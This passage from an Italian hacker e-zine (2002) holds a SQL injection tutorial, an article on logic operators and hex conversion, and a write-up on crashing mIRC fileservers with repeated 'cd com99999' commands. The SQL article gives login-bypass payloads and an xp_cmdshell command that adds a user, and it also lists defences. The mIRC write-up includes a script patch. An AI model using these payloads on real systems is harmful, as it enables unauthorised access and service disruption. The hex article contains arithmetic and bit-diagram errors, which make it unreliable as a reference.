| Una volta inviato, le variabili SQL conterranno i dati immessi, quindi |
| la situazione in codice sara' la seguente: |
| |
| ----start-code---- |
| |
| select * from users where username = ' ' or username like ' |
| % ' and password = ' ' or password like ' % ' |
| |
| ------end-code---- |
| |
| |
| Se questo comando viene eseguito, ritornerà TUTTI i record del database. |
| Se l'applicazione usa questo metodo di determinazione della coppia |
| username/password ( l' 80% dei casi ) , continuerà col processo di |
| login. |
| |
| L'attaccante verrà considerato come il primo utente all'interno del |
| database ( molto spesso l'utente Administrator! ), e quindi avrà tutti i |
| permessi associati all'utente che impersonifica. |
| |
| Altro esempio, che è solo una piccola modifica del precedente: |
| |
|

  
|
| ________________________________________________ |
| | | |
| | USERNAME: ' or username like 'A% | |
| | PASSWORD: ' or password like ' % | |
| |_______________________________________________| |
| |
| In questo caso il database ritornerà tutti i record con utenti che |
| iniziano per " A ". |
| |
| Altri input box di login che si trovano in rete sono ad esempio quelli |
| per l'ingresso di staff e simili ( ne ho trovati pochi), ed avranno un |
| codice di login simile al seguente: |
| |
| ----start-code---- |
| |
| SQL = " select * from users where staffnumber = ' " & request.form |
| ( " staffnumber " ) & " ' and password = ' " & |
| request.form ( " password " ) & " ' " |
| |
| ------end-code---- |
| |
| |
| Quando l'utente che deve effettuare il login immette la classica coppia |
| staffnumber e password, le variabili SQL |
| conterranno i dati immessi, quindi la situazione in codice sara' la |
| seguente [poniamo staffnumber=31337 e pass=hacker] : |
| |
| ----start-code---- |
| |
| select * from users where staffnumber = 31337 and password = |
| hacker ' |
| |
| ------end-code---- |
| |
| Se questo comando SQL viene eseguito verso il database esso, come |
| possiamo intuire, ritornera' il *record* ( username e password sono |
| corrette), o non ritornera' nulla (in quanto non e' stata trovata |
| nessuna voce [record] nel database e quindi.. username e password sono |
| errate). |
| |
| |
| Ora iniziamo ad analizzare la tipologia di attacco : Proviamo ad |
| introdurre ancora il singolo apice ( ' ) all'interno dell'input box e |
| inviare: |
| |
| _______________________________ |
| | | |
| | STAFFNUMBER: ' | |
| | PASSWORD: | |
| |______________________________| |
| |
| |
| La seguente risposta è ritornata dal server (la risposta può variare) : |
| |
| Syntax error in string in query expression 'staffnumber=' AND |
| password='';'. |
| |
| Anche in questo caso l'attaccante ha in pugno i campi dell'input box che |
| gli consentiranno di immettere dati scorretti. |
| Quindi proviamo ad inserire i seguenti dati: |
| |
| |
| ________________________________________ |
| | | |
| | STAFFNUMBER: 0 or 1=1 | |
| | PASSWORD: ' or password like '% | |
| |_______________________________________| |
| |
| Una volta inviato, le variabili SQL conterranno i dati immessi, quindi |
| la situazione in codice sara' la seguente: |
| |
| ----start-code---- |
| |
| select * from users where staffnumber = 0 or 1 = 1 and |
| password = ' ' or password like ' % ' |
| |
| ------end-code---- |
| |
| |
| Se questo comando viene eseguito, ritornerà TUTTI i record del database. |
| Se l'applicazione usa questo metodo di determinazione della coppia |
| staffnumber/password ( spesso ), continuerà col |
| processo di login. |
| |
| Altro problema che purtroppo può infliggere un server SQL, ben più |
| scomodo da "digerire" e più pericoloso... è l'esecuzione tramite le |
| inserzioni di codice viste sopra, di comandi per attivare shell remote |
| etc....; una sorta di problemi come per il cmd.exe in winnt. |
| |
| Vediamone un esempio: |
| |
| ______________________________________________________________________ |
| | | |
| |USERNAME: ' exec master..xp_cmdshell 'net user newusername | |
| | newpasswd /ADD' -- | |
| |_____________________________________________________________________| |
| |
| |
| Che in codice verrò interpretato nel seguente modo: |
| |
| -----start-code------ |
| |
| SELECT * FROM myTable WHERE someText ='' exec master..xp_cmdshell |
| 'net user newusername newpasswd /ADD'--' |
| |
| ------end-code------ |
| |
| Se l'applicazione che gestisce il server SQL sta girando con privilegi |
| tali da poter creare utenti..... immettendo questo comando verrà |
| aggiunto un nuvo utente nel database! |
| |
| I due trattini " -- " alla fine della stringa sono usati per commentare |
| tutto il codice che segue |
| |
| Come abbiamo visto viene rikiamata tramite una exec( ) una shell remota |
| " xp_cmdshell " che permette all'attaccante di eseguire codice |
| arbitrario sul database preso di mira. In SQL Server gli amministratori |
| di NT godono di privilegi speciali, poiché per default essi sono |
| amministratori di SQL Server con poteri assoluti. In virtù di questo |
| loro potere, gli amministratori possono eseguire la "pericolosa" |
| Extended Stored Procedure chiamata "xp_cmdshell". Infatti attraverso |
| essa, è possibile lanciare un comando in un prompt shell del server di |
| riferimento, autenticandosi con lo stesso account del DB server. Dal |
| momento che spesso l'account di SQL Server ha poteri molto alti sul |
| server di destinazione, tale possibilità permette di possedere un |
| qualcosa di molto simile ad una console remota sull'NT che ospita il DB |
| Server. |
| |
| Purtroppo non esiste solo la " xp_cmdshell " , ma molte altre che |
| gestiscono varie applicazioni e che permettono, se non disabilitate, di |
| avere praticamente in mano l'intero server ed oltre. ( xp_cmdshell, |
| sp_adduser, xp_reg, sp_delete_alert, sp_password, sp_start_job, |
| xp_setsqlsecurity, xp_updatecolvbm etc..etc..) |
| |
| |
| ####### Come possiamo ovviare a queste tipologie d'attacco ######## |
| |
| |
| 1) Non permettere l'uso di metacaratteri!!!! |
| |
| 2) Non permettere l'inserimento del singolo apice ( ' ). Sostituirlo *on |
| the fly* con 2 singoli apici ( 2 x ' e non ") Ad esempio con una stringa |
| come questa : goodString = replace(inputString,','') faremo ciò |
| detto sopra. |
| |
| 3) Se all'utente è rikiesto di inserire un numero..verificare che sia un |
| numero, ad esempio con " ISNUMERIC " |
| |
| 4) Usare lo username inserito per cercare il record, e quindi compararlo |
| con la password registrata. |
| |
| 5) Implementare un * error handling * che non dia informazioni sensibili |
| nel momento in cui viene commesso un errore di input. |
| |
| 6) Essere sicuri che l'applicazione stia girando con permessi |
| sufficienti per eseguire le normali operazioni di routine. |
| |
| |
| |
| Tnx && Bye to: FuSyS, Nobody, Naif, Nextie, Raptor, |
| Morpheo, SirPsychoSexy,MoF crew,UIHA crew e quelli che ho tralasciato |
| |
| Fucks to...anyone |
| |
| For contact : snhyper@hotmail.com |
| |
| [[[[[[ ..::SNHYPER::.. ]]]]]] |
| * Security Develover * |
| Linux registered user #249109 |
| Linux registered machine #133922 |
| |
| |
| -----BEGIN PGP PUBLIC KEY BLOCK----- |
| |
| mQENAzvmGoAAAAEIAKD2WWEKWceg1oyoVQgnAm1rNUJ/4FLJbwZ7aDFLbSp9tzzk |
| HdwupiYaKBbR1uhcWTnVJ2vvqtVbAG11BeARtE+iEnDPOEc697DS+j/6HV5ujULF |
| Ok26Vx0IIQ2MZnVDAiYNmyBSi9uV1wJHWzvVgBwpLAwkG0owwC47y8TGmbpTKn/Q |
| nQPT4favKxOstnqRX3ALZveqow6/zrvTkT6zM82wlwwkC7UpFl/XUURGq1rVn7yZ |
| 4EZMePbFalKF7VLhJ7QRhdWIZ4r0JqFEA++CCxiU2ASPBdXUepFvNYB+JI+yzGmW |
| dcd9/Zxh4I+B9JhDCCoGlCuqz/YwbPKoGWYKHr0ABRG0B3NuaHlwZXKJARUDBRA7 |
| 5hqAbPKoGWYKHr0BASomB/wNS5g6N5u8TVCMCzwnU5tAUNYxL4W153FZle19Te2S |
| SaAa9zH5jK+gZ0anJaQQHm7EE+fvo4uvrcCHWXOgrxxZbCO3ft2ff/LolUVEFmJU |
| EmfKlCRz3lBH/i3SWt084hkw0GwBWjBGQfkogsT5yFEmXvaZAq5DG50hnHr9TL4z |
| yferQqKn/0PBzhhkWZJu/EC0TKenZULD2uIS/8MUriUjCm3j8BOBOrqxu7R87fn5 |
| LgpdjHvkKLUkRWVfoGtERnlbdFCOJubKiGKTstuUEdZ9gaFh+9z6GfcUhv4ISP4U |
| ouKu5MrKJi8XDcTZ9r25weTm3tcbP9jAnFHstw7YPq/K |
| =uAC7 |
| -----END PGP PUBLIC KEY BLOCK----- |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE [CiLi0] 0x0F/0x1D |
+--------------------------------------------------------------------------+
| |
| _______-=(menu)=-__________ |
| | -INTRODUZIONE |
| | - OPERATORI LOGICI |
| | -and |
| | -or |
| | -xor |
| | -not |
| | -NUMERAZIONE ESADECIMALE |
| | -Bin |
| | -BCD |
| |___________________________ |
| |
| |
| |
| |
| -=(INTRODUZIONE)=- |
| |
| |
| ---------------------------------- |
| |
| DeDiCaTo A : Ste ( prima o poi c'è la fai cn la Eri ;D ) ... Mighty( a |
| cui rompo sempre le balle in IRC, approposito qnd mi regali la maglieta |
| cn "b0rn the frag" ? =) al team della TCC per la loro disponibilità e |
| cortesia ( peggio di quelli della coop :) a Lu anche se mi ha incasinato |
| nn poko( ma proprio me dovevi andar a peskare...) .. naturalmentea a |
| XpTerminator ( hai visto ti ho inserito :) e a tutti quelli che si |
| impegnano a tener su l'underground italiano cn i loro txt. |
| |
| StEsUrA FiNaLe : 13/10/01 - 23.00 |
| |
| SiTuAzIoNe : ho perso il modem ( kissa in ke cazzo di scatolone è |
| finito... ) e qundi mi ritrovo off-line x cui megli mettersi il cuore in |
| pace e scrivere questi piccoli appunti (SIGH..VOGLIO IL MIO MODEM!!!!!) |
| |
| |
| ----------------------------- |
| |
| CIao a tutti! con questo piccolo articolo vorrei (tentare di) |
| descrivervi il "funzionamento" degli operatori logici e come convertire |
| un numero decimale in esadecimale e viceversa... Vorrei anticipare però |
| che tutto quello che sto per dire è solo frutto di mie esperienze e |
| qundi se ho scritto qualche ENORME cavolata fatemelo sapere a |
| fangame@virgilio.it |
| |
| |
| |
| -=(OPERATORI LOGICI)=- |
| |
| |
| Gli operatori logici sono presenti in molti linguaggi di programmazione |
| e si basano sulla matematica booleana. Detti anche connettori logici |
| permettono di condizionare un programma a seconda delle situazioni. |
| Messi a punto dal matematico George Boole (nel diciannovesimo secolo ) |
| non sono stati creati per un applicazione in ambito informatico, anche |
| se poi si sono rivelati utilissimi , data la particolare architettura di |
| un elaboratore ( calcolo binario ). Prima di iniziare veramente con gli |
| operatori logici bisogna definire alcuni termini : |
| |
| PORTA LOGICA :circuito che si basa su un determinato operatore logico ( |
| AND, OR , NOT ) OPERATORI LOGICI : regole che permettono di analizzare |
| proposizioni rappresentandole mediante simboli. gli operatori logici |
| fondamentali sono : _ NON ( NOT ): negazione ( simboli ) E ( AND ) |
| : prodotto logico ( simbolo . ) O ( NOT ) : somma logica ( simbolo +) |
| |
| |
| dai legami risultano nuove proposizione che a loro |
| volta possono essere solo vere o false |
| |
| BIT : più piccola parte di una memoria di un elaboratore ( 1 Gb |
| - 1024M - 1M - 1024 Kb - 1Kb 1024 byte - 1 byte 8 bit ) ( teoricamente |
| "TO HACK" - spaccare un bit in 4 , cosa estremamente difficile :) |
| |
| |
| |
| Quindi , tutte le variabili, dipendenti o indipendenti, di un sistema |
| logico hanno due soli valori possibili : |
| |
| - 0 ( falso ) - 1 ( vero ) |
| |
| Tali variabili risultano legate tra loro unicamente mediante i tre |
| operatori fondamentali NOT, AND, OR. |
| |
| |
| -===[( O.L. and )]===- |
| |
| l'operatore logico AND fornisce un bit "1" quando entrambi i bit che sta |
| comparando sono a livello logico "1". |
| |
| |
| BYTE |1|0|1|1|0|1|0|0| and |
| BYTE |1|1|0|1|1|1|1|1| RISULTATO |1|0|0|1|0|1|0|0| |
| |
| |
| questo perchè si ha il PRODOTTO logico ( 1 X 1 = 1 / 0x0 = 0 / 1x0 = 0 |
| ) in un discorso a livello di linguaggi di programmazione si potrebbe |
| fare questo esempio in BASIC, supponiamo di avere 4 variabili settate in |
| questo modo : |
| |
| |
| |
| - SARA = "ragazza" - ERIKA = "ragazza" - STEFANO = "ragazzo" - ALESSIO |
| = "ragazzo" |
| |
| |
| ( ogni riferimento è puramente casuale :) , scherzo ciao raga!!!! ) |
| |
| Consideriamo queste righe : |
| |
| IF SARA = "ragazza" AND STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 0 PERCHE' E' VERO SOLO 1 DELLE CONDIZIONI |
| |
| IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE |
| |
| IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' |
| CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE 2 CONDIZIONI E' VERA |
| |
| |
| Per concludere posso dire che l'operatore logico AND può essere |
| comparato all' INTERSEZIONE di più insiemi |
| |
| |
| |
| N.B.: il simbolo "." è uguale al X il problema ke nn c'è un codice ASCII |
| di un punto a mezz'aria :D |
| |
| -===[( O.L. or )]===- |
| |
| l'operatore logico OR fornisce un bit ad "1" quando uno o entrambi i bit |
| che si sta comparando sono a livello logico "1" |
| |
| |
| BYTE |1|0|1|0|0|1|0|0| or BYTE |0|0|0|1|0|0|0|0| |
| RISULTATO |1|0|1|1|0|1|0|0| |
| |
| |
| |
| Si ha infatti la somma logica 1 + 0 = 1 / 0 + 0 = 0 / 1 + 1 = 1 ( in |
| binario da 1 :) / 0 + 1 = 1 Sempre nell'ambito dei linguaggi di |
| programmazione , prendiamo nuovamente d'esempio le solite variabili : |
| |
| |
| - SARA = ragazza - ERIKA = ragazza - STEFANO = ragazzo - ALESSIO = |
| ragazzo |
| |
| |
| e casi simili : |
| |
| |
| IF SARA = "ragazza" OR STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 PERCHE ALMENO UNA DELLE 2 CONDIZIONI E' VERA |
| |
| IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE |
| |
| IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' |
| CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE DUE CONDIZIONI E' |
| SODDISFATTA |
| |
| |
| |
| |
| -===[( O.L. not )]===- |
| |
| il not è l'unico operatore logico unario ( ovvero cn un solo ingresso, |
| manca la comparanzione in poke parole ) e da come risultato il |
| complementare del valore esaminato. |
| |
| |
| BYTE |1|0|1|1|0|0|1|0| not RISULTATO |0|1|0|0|1|1|0|1| |
| |
| |
| |
| _ si ha infatti il complementare di un bit, supponiamo ke un bit sia uno |
| il suo complementare sarà 0 ( 1 = 0 ) |
| |
| -O.L. xor - |
| |
| |
| l'operatore logico XOR fornisce un bit ad "1" quando i bit che si stanno |
| comparando hanno valori logici diversi. Quindi se tutti e due i bit |
| d'ingresso sono a "1" o a "0" il ivello logico in uscita sarà "0". |
| |
| |
| | | V BYTE |1|0|1|0|0|1|0|0| xor BYTE |
| |0|0|0|1|0|1|0|0| XOR RISULTATO |
| |1|0|1|1|0|0|0|0| |
| |
| |
| |
| si ha un eccezione in ambito di algebra Booleana , solitamente infatti |
| la somma logica di 1 e 1 è 1 (ma va ? ) qui invece 1 + 1 = 0. |
| programmazione, variabili : |
| |
| |
| - SARA = ragazza - ERIKA = ragazza - STEFANO = ragazzo - ALESSIO = |
| ragazzo |
| |
| |
| e i casi : |
| |
| IF SARA = "ragazza" OR STEFANO = "ragazza" THEN ecc. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 1 PERCHE ALMENO UNA DELLE 2 CONDIZIONI E' VERA |
| |
| IF SARA = "ragazza" AND ERIKA = "ragazza" THEN ecc.. QUESTA RIGA DARA' |
| COME RISULTATO LOGICO 0 DATO CHE TUTTE E DUE LE CONDIZIONI SONO VERE |
| |
| IF ALESSIO = "ragazza" AND STEFANO = "ragazza" THEN.. QUESTA RIGA DARA' |
| CONE RISULTATI LOGICO 0 PERCHE' NESSUNA DELLE DUE CONDIZIONI E' |
| SODDISFATTA |
| |
| -=(NUMERAZIONE ESADECIMALE)=- |
| |
| |
| la scala esadecimale ( che d'ora in poi abbrevieremo in HEX ) è |
| ampiamente usata in campo informatico ( basta pensare che il campo data |
| in un pacchetto TCP/IP è "scritto" in HEX ) ed è importante sapersi |
| muovere in questo ambito. In questi txt esamineremo il sistema di |
| trasformazione BCD (8421) ovvero "Binary Coded Decimal = codifica |
| binaria del sistema decimale" Questo codice permette la codifica, |
| mediante quattro bit binari, delle dieci cifre del sistema di |
| numerazione decimale. Anche qui c'è da fare una piccola premessa. |
| L'elaboratore ragione in binario ed è quindi fondamentale conoscere |
| questa scala, anche perchè, senza di essa non possiamo trasformare il |
| numero in HEX ( usando il BCD , esistono altri metodi per cui possiamo |
| farne a a meno ). Se avete letto la definizione di bit ad inizio |
| articolo avrete visto come un byte è diviso in otto bit, queste 8 celle |
| di memoria possono avere solo valore 1 o 0 ( così come detto prima ). |
| Per transformare il valore di un byte espresso in binario in decimale |
| dobbiamo usare il metodo classico di conversione. Questo metodo |
| indentifica l'ultima byte a destra il meno signifativo e il suo opposto |
| come il più significativo :) e associa ad ogni bit una potenza di 2 ( |
| propriò perchè la base di numerazione binaria si basa su 2 cifre ). Dove |
| il bit meno significativo ha potenza 2^0 e il più significativo 2^7. |
| |
| |
| ESPONENTE POTENZA DI 2 7 6 5 4 3 2 1 0 GLi 8 bit |
| | | | | | | | | | |
| |
| |
| i valori, quindi saranno i seguenti |
| |
| |
| 2^0 = 1 ( 1 bit a destra , meno significativo ) 2^1 = 2 ( 2 bit a |
| destra ) 2^2 = 4 ( 3 bit a destra ) 2^3 = 8 ( 4 bit a destra ) 2^4 = |
| 16 ( 5 bit a destra ) 2^5 = 32 ( 6 bit a destra ) 2^6 = 64 ( 7 bit a |
| destra ) 2^8 = 128 (8 bit a destra, più significativo ) |
| |
| |
| La loro somma, ovvero l'intero byte in decimale è espresso in decimale è |
| 255. da questi due schemi deduciamo ke se vogliamo convertire 01000000 |
| decimale il risultato non potrà ke essere 64 :) così come 10000001 sarà |
| 129. Il sistema BCD ha lo stesso principio ma si basa su gruppi di 4 |
| bit, in decimale 8-4-2-1 ( ecco perchè BCD(8421) ). Fermiamoci un attimo |
| a pensare però... il nostro sistema viene detto decimale perchè si basa |
| su 10 cifre ( 0 - 1 - 2 - 3 - 4 - 5 - 6 - 7 - 8 - 9 ), il massimo che si |
| può raggiungere senza passare alle decine, è 9, LO ZERO VA CONTATO! ecco |
| perchè decimale , dieci numeri da 1 unita e dopo si può solo passare |
| alle decine!. in HEX è la stessa cosa esiston 16 cifre da un unità ( 0 |
| -1-2-3-4-5-6-7-8-9-A-B-C-D-E-F ) e quindi F non sarà 16 ma 15! perchè |
| come in DEC dopo il nove va aggiunto un unità in modo da passare a 10 |
| anche dopo F bisogna passare alla scala superiore! Infatti 8+4+2+1 = 15 |
| = F . Detto questo esaminiamo un gruppo di 4 bit : |
| |
| |
| POTENZA DI 2 3 2 1 0 4 BIT |
| | | | | | VALORE DECIMALE 8 4 2 1 |
| |
| |
| Abbiamo ora tutti gli elementi per eseguire la nostra prima conversione |
| ;), naturalmente deve essere un numero compreso tra 0-15 . proviamo 13 |
| |
| |
| POTENZA DI 2 3 2 1 0 4 BIT |
| |1|1|0|1| VALORE DECIMALE 8 4 2 1 |
| |
| |
| |
| basandoci sulla normale conversione binaria (v.prima )possiamo dire |
| 8+4+1 > DEC = 13 8+4+1 > HEX = D |
| |
| data questa base dovremmo essere in grado di covertire qualsiasi numero |
| passandolo da DEC - BIN - HEX sfruttando il sisteam BCD e aggiungendo n |
| gruppi di 4 bit tanto più il numero è grande. Facciamo a questo |
| proposito un esempio, cercheremo di convertire il numero 49. |
| |
| |
| |
| POTENZE DI 2 7 6 5 4 3 2 1 0 4+4 BIT |
| |0|0|1|1| |0|0|0|1| VALORE DEC 8 4 2 1 8 4 2 1 |
| |
| |
| da notare come le potenze di 2 aumentino di 4 alla volta e non |
| ricomincino ogni gruppo di 4, questo perchè i numeri possono essere |
| maggiorni di 15 e bisogna riuscire ad esprimerli in potenze di 2. |
| Tornando alla conversione possiamo constatare come le potenze di 2 diano |
| effetivamente 49 ( 2^5 = 32 + 2^4 = 16 + 2^0 = 1 / 32+16+1 = 49 ). |
| Guardiamo ora i valori in basso ovvero "VALORE DEC" rispettivo ad ogni |
| cella di bit settati a 1 esaminiamo come : |
| |
| PRIMO GRUPPO : 0011 = 2+1 > DEC = 3 0011 = 2+1 > HEX = 3 |
| |
| |
| SECONDO GRUPPO : 0001 = 1 > DEC = 1 0001 = 1 > HEX = 1 |
| |
| |
| concludendo possiamo quindi dire che 49d = 31h ( d = indica che il |
| numero è decimale, h = indica che il numero è esadecimale). |
| |
| N.B. : 31h non si legge "trentuno" ma bensì "tre uno". |
| |
| Come detto prima nel caso di un numero che vada oltre 15 si usano i suoi |
| multipli per cui dovreste essere tranquillamente in grado di convertire |
| un numero come 2208 semplicemente usando 3 gruppi di 4 bit e aumentando |
| le potenze di 2 di 4 esponenti: |
| |
| |
| |
| POTENZE DI 2 11 10 9 8 7 6 5 4 3 2 1 0 4+4+4 BIT |
| |1|0|0|1| |1|0|1|0| |0|0|0|0| VALORE DEC 8 4 2 1 8 |
| 4 2 1 8 4 2 1 |
| |
| |
| |
| 2^11 = 2048 2^7 = 128 2^5 = 32 |
| |
| 2048+128+32 = 2048 |
| |
| |
| |
| PRIMO GRUPPO : 01000 = 4 > DEC = 4 01000 = 4 > HEX = 4 |
| |
| SECONDO GRUPPO : 1010 = 8+2 > DEC = 10 1010 = 8+2 > HEX = A |
| |
| TERZO GRUPPO = 0 ( bisogna scriverlo! ) |
| |
| quindi il risultato sarà : 8A0h ( pronuncia : otto - A - zero ) |
| |
| |
| Detto tutto ciò non ci dovrebbero essere problemi a convertire un numero |
| HEX in DEC con il BCD. Facciamol velocemente provando a non usare la |
| piccola,solita, tabella. Prendiamo com esempio C64h. Ora scomponiamolo |
| |
| C = 12 , quindi 8 + 4 > BIN = 1001 6 = 4+2 > BIN = 0110 4 = 4 > BIN = |
| 0100 |
| |
| le 3 cifre del numero ci fanno capire che sono stati usati 3 coppie di 4 |
| bit per transformalo, di conseguenze le potenze di 2 del gruppo di bit |
| che ha formato C andrà da 11 a 8 , quello che ha formato 6 da 7 a 4 e |
| con 4 da 3-0. Saputo questo esaminiamo 1001 , il primo uno a sinistra |
| sarà allora 2^11 e l'ultima a destra 2^8. In 0110 , il primo uno da |
| sinistra sarà 2^6 e l'altro 2^5 in 0100 , l'unico 1 sarà 2^2. |
| |
| Quindi |
| |
| 2^11 = 2048 2^8 = 512 2^6 = 64 2^5 = 32 2^2 = 4 |
| |
| numero in dec = 2048 + 512 + 64 + 32 + 4 = 3172. |
| |
| Con questo ultimo calcolo ho finito... questa è la seconda volta che |
| riscrivo questo articolo... ( la versione beta, anzi alpha ( vero XP ? |
| :) era molto incasinata ) credo che questa volta sia comprensibile. Le |
| fonti sono : |
| |
| - la mia piccola mente malata :D - Elettronica Logica ( R.Giometti |
| - F.Frascari ) Ed.Calderini |
| |
| |
| per concludere vi do un consigli... usate un software di conversione |
| esadecimale :D |
| |
| alla prox Byz CiLi0 |
| |
| |
| UIN : 92732867 e.mail : fangame@virgilio.it |
| |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [MiSC] #06 - 25/04/2002 |
| FiLESERVER BUG [^_][ice][man][_^] 0x10/0x1D |
+--------------------------------------------------------------------------+
| |
| Autore: ^_][ice][man][_^ |
| Data: 4/12/01 ore 14.03 |
| Informazioni: Sono ancora in pigiama visto ke la scuola è in |
| okkupazione ed ho fame dato ke sono le 14 ( ho fatto 1 ora fa |
| colazione :))) hihihi ) |
| |
| |
| |
| |---MENU----|____________________ |
| |¯¯¯¯¯¯¯¯¯¯¯ | |
| | 1) Disclaimer ctrl+Z | |
| | 2) Premessa ctrl+Q | |
| | 3) Introduzione ctrl+A | |
| | 4) Materiale utilizzato | |
| | 5) Fase Pratica ctrl+X | |
| | 6) Patch | |
| | 7) Consigli e informazioni | |
| | 8) Ringraziamenti | |
| | 9) Contatti | |
| |10) Quit ctrl+alt+canc | |
| |________________________________| |
| |
| |
| |
| ------------------------- DISCLAIMER -------------------------------- |
| |
| QUESTO TESTO è STATO SCRITTO ESCLUSIVAMENTE CON L'INTENTO DI DARE |
| INFORMAZIONE E NIENT'ALTRO!! L'AUTORE DI CODESTO TESTO ( |
| ^_][ice][man][_^ ), IL VENINSIDE GROUP E TUTTE LE PERSONE CITATE IN |
| QUESTO TXT NON SI RITENGONO RESPONSABILI DELL'USO CHE POTRETE FARE DI |
| QUESTE INFORMAZIONI...GRAZIE |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| ------------------------ PREMESSA ------------------------------------- |
| |
| Innanzitutto ciao..cari lettori (ma dove stanno poi :pp :) ) . Voglio |
| cominciare col dirvi che questo testo non vuole essere fonte di |
| lamerate..., ma viene usato solo come mezzo di informazione per |
| proteggersi da eventuali buchi presenti in alcune applicazioni. |
| Infatti..oltre ad illustrarvi il problema , vi darò anche la relativa |
| patch , in modo da poter rendere inutile qualsiasi attacco che vi |
| verrà fatto ( come mi sento BILL hihihi). |
| |
| ----------------------------------------------------------------------- |
| |
| |
| |
| ------------------------INTRODUZIONE---------------------------------- |
| |
| Tutti voi conoscerete mIRC, il più famoso client IRC presente sulle |
| macchine Winxx . Ed oltre a questo...se avete un pò di conoscenza, |
| sarete informati anche riguardo il bug di windows: com1, lpt1 ecc... |
| Per chi non lo conoscesse, dovete sapere che, digitando alcune parole |
| chiavi tipo Com1, lpt1 ( che windows utilizza per identificare |
| determinate porte ), sotto Il Dos di WIndows, vi comparirà un bell' |
| Edit del Dos oppure si riavvierà il Command.com. Questo perchè sono |
| parole chiavi usate dal sistema, le quali non possono essere |
| utilizzate (almeno non dovrebbero)! Infatti provate a creare una |
| cartella chiamandola Com1..vedrete che non vi permetterà di crearla. |
| Almeno questo problema è stato riscontrato su Sistemi Win95 seconda |
| edizione. Purtroppo è stato trovato un legame tra questo bug e |
| l'applicazione mIRC, e più precisamente degli Fserve. |
| Come dovreste sapere, molti utenti in IRC, mettono a disposizione una |
| parte del contenuto del loro PC ( mp3, giochi completi, testi ecc.. ) |
| ad altre persone che possono così scaricarlo. Infatti, digitando in |
| room il trigger ( che è una stringa particolare che il mirc |
| interpreta, ad esempio !mp3) si entra in una dcc chat la quale |
| permette di navigare tra le cartelle messe a disposizione dall'Fserve, |
| proprio come una shell Dos, e di scaricare tutto ciò che si vuole. |
| Purtroppo in questa DCC chat è stato riscontrato un problema..persino |
| sulla versione più recente del mIRC..la 5.91. Infatti digitando alcune |
| stringhe all'interno della stessa...si provocherà il crash |
| dell'applicazione, la quale dovrà per forza essere riavviata; la cosa |
| più brutta è che non e nemmeno possibile visualizzare l'autore della |
| lamerata per poterlo pikkiare :) |
| |
| ---------------------------------------------------------------------- |
| |
| |
| |
| ------------------------ MATERIALE UTILIZZATO ----------------------- |
| |
| Ora vi elencherò (sai poi quant'è lunga ) la lista del materiale da |
| utiliizzare :) |
| |
| - Client che permette le DCC chat ( quindi non va bene Microzozz chat |
| ),e la ricezione dei file. |
| - Dovrete trovare su qualche server IRC degli FSERVE attivi |
| ( NON vi SPIEGO COME FARE PERCHè NON VOGLIO CHE FACCIATE CIò CHE VI |
| STO ILLUSTRANDO). |
| |
| - Finito qui :)) |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| ------------------------ FASE PRATICA ------------------------------- |
| |
| Una volta aperta una DCC Chat con un Fserve, basterà digitare per 29 |
| volte circa...la stringa |
| |
| " cd com99999 " oppure " cd ltp99999 " (esclusi gli apici :E ). |
| Vedrete che l'fserve vi risponderà così: |
| |
| <Lamer> cd com99999 |
| <Fserve> [\com99999] |
| <Lamer> cd com99999 |
| <Fserve> [\com99999\com99999] ecc... finchè alla vostra richiesta |
| l'Fserve non risponderà più! |
| |
| Sarà in quel momento che il Mirc crasherà, e si bloccherà tutto. |
| Ovviamente se vedrete il nick ancora in room significa che il |
| possessore dell'fserve non lo ha chiuso ancora. Il fatto di scrivere |
| numeri 99999 è indifferente,xkè potrete scrivere qualunque numero. Al |
| posto di com, come vi avevo detto prima è possibile mettere LPT, |
| mentre invece AUX non funziona. |
| |
| /****** VI CHIEDO COMUNQUE DI NON PROVARLO SUGLI ALTRI, MA SE PROPRIO |
| CI TENETE, APRITEVI UN PICCOLO DEMONE IRC E FATELO IN LOCALE ******\ |
| |
| Ovviamente l'Fserve cade, xkè c'è da parte dell'utente, la richiesta |
| di una cartella che non esiste, ma allo stesso tempo esiste! Cioè |
| logicamente sull HDD non esiste, ma Windows utilizza il nome COM, come |
| abbiamo detto prima, per identificare alcune porte presenti sul PC ! |
| |
| --------------------------------------------------------------------- |
| |
| |
| |
| |
| ---------------------------- PATCH ---------------------------------- |
| |
| Siccome questo bug non è molto conosciuto, e fino ad ora nessun |
| sviluppatore del programma mIRC si è degnato di avviare una patch, io, |
| essendo un amante del Mirc scripting, ho deciso di crearne uno con le |
| mie mani |
| |
| Ecco a voi presentato: |
| |
| ;------------------------ <--- Taglia qui |
| |
| on ^*:serv:*:{ |
| $iif( ( ( $left($2,3) == com ) && ( $mid($2,4,1) isnum ) ) || ( ( |
| $left($2,3) == lpt ) && ( $mid($2,4,1) isnum ) ) , halt ) |
| } |
| |
| |
| ;----------------------- <---- Taglia qui |
| |
| Ovviamente questo pezzo di code, dovrà essere pastato all'interno |
| della sezione Remote del vostro mIRC. |
| Ora vi spiego la logica del codice: |
| |
| ON ^*:serv:*: ----> questo evento entra in funzione nel momento in |
| cui si avvia una DCC Fserve il ^ permette al Mirc di non effettuare |
| alcune operazioni usando il comando /halt |
| |
| $iif( cond,V,F) ----> questo identificatore interpreta la condizione |
| ed esegue le istruzioni poste nel campo V se la condizione è |
| vera,oppure quelle posta nel campo F se la stessa è falsa. |
| |
| |
